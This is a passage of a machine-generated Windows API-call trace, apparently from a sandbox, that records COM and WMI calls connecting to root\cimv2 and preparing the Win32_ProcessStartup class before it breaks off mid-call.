WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.216] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0069.217] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0069.217] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0069.217] IUnknown:Release (This=0x111f638) returned 0x1 [0069.218] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf11180) returned 0x0 [0069.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11180, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0069.219] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11180, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x119b2a0) returned 0x0 [0069.219] WbemDefPath:IUnknown:Release (This=0x1bf11180) returned 0x0 [0069.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x119b2a0) returned 0x0 [0069.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0069.219] WbemDefPath:IUnknown:AddRef (This=0x119b2a0) returned 0x3 [0069.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0069.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0069.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bf11120) returned 0x0 [0069.219] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11120, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.219] WbemDefPath:IUnknown:Release (This=0x1bf11120) returned 0x3 [0069.219] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0069.219] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0069.219] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0069.219] WbemDefPath:IUnknown:Release (This=0x119b2a0) returned 0x2 [0069.219] WbemDefPath:IUnknown:Release (This=0x119b2a0) returned 0x1 [0069.219] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0069.219] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0069.220] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b2a0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x119b2a0) returned 0x0 [0069.220] WbemDefPath:IUnknown:AddRef (This=0x119b2a0) returned 0x3 [0069.220] WbemDefPath:IUnknown:Release (This=0x119b2a0) returned 0x2 [0069.220] WbemDefPath:IWbemPath:SetText (This=0x119b2a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0069.220] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b2a0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0069.220] WbemDefPath:IWbemPath:GetText (in: This=0x119b2a0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0069.220] WbemDefPath:IWbemPath:GetText (in: This=0x119b2a0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.220] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0069.220] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0069.220] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0069.220] IUnknown:Release (This=0x111f638) returned 0x1 [0069.229] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bf10fc0) returned 0x0 [0069.229] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf10fc0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0069.229] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf10fc0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bf10fe0) returned 0x0 [0069.229] WbemLocator:IUnknown:Release (This=0x1bf10fc0) returned 0x0 [0069.229] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf10fe0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bf10fe0) returned 0x0 [0069.229] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf10fe0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0069.229] WbemLocator:IUnknown:AddRef (This=0x1bf10fe0) returned 0x3 [0069.229] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf10fe0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0069.229] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf10fe0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0069.229] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf10fe0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0069.229] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0069.230] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0069.230] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf10fe0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0069.230] WbemLocator:IUnknown:Release (This=0x1bf10fe0) returned 0x2 [0069.230] WbemLocator:IUnknown:Release (This=0x1bf10fe0) returned 0x1 [0069.230] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0069.230] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0069.230] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf10fe0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bf10fe0) returned 0x0 [0069.230] WbemLocator:IUnknown:AddRef (This=0x1bf10fe0) returned 0x3 [0069.230] WbemLocator:IUnknown:Release (This=0x1bf10fe0) returned 0x2 [0069.230] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b2a0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0069.230] WbemDefPath:IWbemPath:GetText (in: This=0x119b2a0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0069.230] WbemDefPath:IWbemPath:GetText (in: This=0x119b2a0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0069.230] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bf10ec0) returned 0x0 [0069.230] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf10ec0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf01a70) returned 0x0 [0069.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01a70, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bef1c30) returned 0x0 [0069.436] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef1c30, pProxy=0x1bf01a70, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0069.436] WbemLocator:IUnknown:Release (This=0x1bef1c30) returned 0x1 [0069.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01a70, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bef1c70) returned 0x0 [0069.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01a70, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bef1c30) returned 0x0 [0069.437] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef1c30, pProxy=0x1bf01a70, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0069.437] WbemLocator:IUnknown:Release (This=0x1bef1c30) returned 0x2 [0069.437] WbemLocator:IUnknown:Release (This=0x1bef1c70) returned 0x1 [0069.437] CoTaskMemFree (pv=0x1beee180) [0069.437] WbemLocator:IUnknown:AddRef (This=0x1bf01a70) returned 0x2 [0069.437] WbemLocator:IUnknown:Release (This=0x1bf10ec0) returned 0x0 [0069.438] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0069.438] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0069.438] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01a70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bef1c40) returned 0x0 [0069.438] WbemLocator:IRpcOptions:Query (in: This=0x1bef1c40, pPrx=0x1bf10f60, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0069.438] WbemLocator:IUnknown:Release (This=0x1bef1c40) returned 0x2 [0069.438] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0069.438] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0069.438] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01a70, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf01a70) returned 0x0 [0069.438] WbemLocator:IUnknown:Release (This=0x1bf01a70) returned 0x2 [0069.438] SysStringLen (param_1=0x0) returned 0x0 [0069.438] WbemDefPath:IWbemPath:GetText (in: This=0x119b360, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0069.439] WbemDefPath:IWbemPath:GetText (in: This=0x119b360, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0069.439] IWbemServices:GetObject (in: This=0x1bf01a70, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bef4aa0, ppCallResult=0x0) returned 0x0 [0069.441] IWbemClassObject:Get (in: This=0x1bef4aa0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0069.441] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0069.441] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0069.441] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0069.441] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0069.441] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0069.441] IUnknown:Release (This=0x111f638) returned 0x1 [0069.443] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bf10ec0) returned 0x0 [0069.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf10ec0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0069.444] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf10ec0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x119b120) returned 0x0 [0069.444] WbemDefPath:IUnknown:Release (This=0x1bf10ec0) returned 0x0 [0069.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x119b120) returned 0x0 [0069.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0069.444] WbemDefPath:IUnknown:AddRef (This=0x119b120) returned 0x3 [0069.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0069.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0069.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bf10f20) returned 0x0 [0069.445] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf10f20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.445] WbemDefPath:IUnknown:Release (This=0x1bf10f20) returned 0x3 [0069.445] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0069.445] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0069.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0069.445] WbemDefPath:IUnknown:Release (This=0x119b120) returned 0x2 [0069.445] WbemDefPath:IUnknown:Release (This=0x119b120) returned 0x1 [0069.445] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0069.445] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0069.445] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b120, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x119b120) returned 0x0 [0069.445] WbemDefPath:IUnknown:AddRef (This=0x119b120) returned 0x3 [0069.445] WbemDefPath:IUnknown:Release (This=0x119b120) returned 0x2 [0069.445] WbemDefPath:IWbemPath:SetText (This=0x119b120, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0069.445] IWbemClassObject:Get (in: This=0x1bef4aa0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x297d578*=0, plFlavor=0x297d57c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x297d578*=19, plFlavor=0x297d57c*=0) returned 0x0 [0069.445] IWbemClassObject:Get (in: This=0x1bef4aa0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x297d578*=19, plFlavor=0x297d57c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x297d578*=19, plFlavor=0x297d57c*=0) returned 0x0 [0069.446] IWbemClassObject:Put (This=0x1bef4aa0, wszName="CreateFlags", lFlags=0, 